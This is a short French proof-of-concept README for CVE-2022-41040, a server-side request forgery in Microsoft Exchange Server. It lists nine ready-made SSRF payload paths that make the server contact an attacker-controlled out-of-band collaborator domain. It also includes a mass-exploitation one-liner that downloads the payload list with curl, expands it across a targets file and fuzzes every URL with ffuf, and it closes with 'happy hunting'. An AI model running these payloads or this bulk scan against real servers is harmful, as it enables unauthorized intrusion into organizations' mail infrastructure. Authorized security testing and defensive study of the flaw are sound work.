CVE-2022-41040-POC

CVE-2022-41040 - Server Side Request Forgery (SSRF) dans Microsoft Exchange Server

Exploitation manuelle

1. Remplacez COLLABHERE par votre domaine OOB - sed 's/COLLABHERE/<oob-domain>/g

2. Ajoutez les payloads aux URL que vous souhaitez tester - echo http://target.com|unfurl format %s://%d/<payload>

3. Visitez les URL construites

4. Vérifiez votre collaborator

Payloads:

/autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE
/autodiscover/autodiscover.json/v1.0/aa@%d.v2.COLLABHERE?Protocol=Autodiscoverv1
/autodiscover/autodiscover.json/v1.0/aa..@%d.v3.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..@%d.v3.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@%d.v4.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v4.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v5.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..%d.v5.COLLABHERE&Protocol=Autodiscoverv1&%d.v5.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v6.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v6.COLLABHERE&Protocol=Autodiscoverv1&%d.v6.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v7.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a..%d.v7.COLLABHERE&Protocol=Autodiscoverv1&%d.v7.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v8.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a@%d.v8.COLLABHERE&Protocol=Autodiscoverv1&%d.v8.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@%d.v9.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell

Exploitation massive

for url in $(curl -s https://gist.githubusercontent.com/kljunowsky/a2e8392f63fb8d7c0443f2011bce59ec/raw/7b4cabaa0dab7113b1cab00e1a2cb0c4e3c6ed06/cve-2022-41040-unfurl-payloads.txt|sed 's/COLLABHERE/<OOB-PAYLOAD>/g'); do cat targets.txt |unfurl format $url >> fuzz-ready.txt;done & ffuf -w fuzz-ready.txt -u FUZZ

Vérifiez votre collaborator !

Bonne chasse !

Prérequis

ffuf Merci @joohoi!

unfurl Merci tomnomnom!

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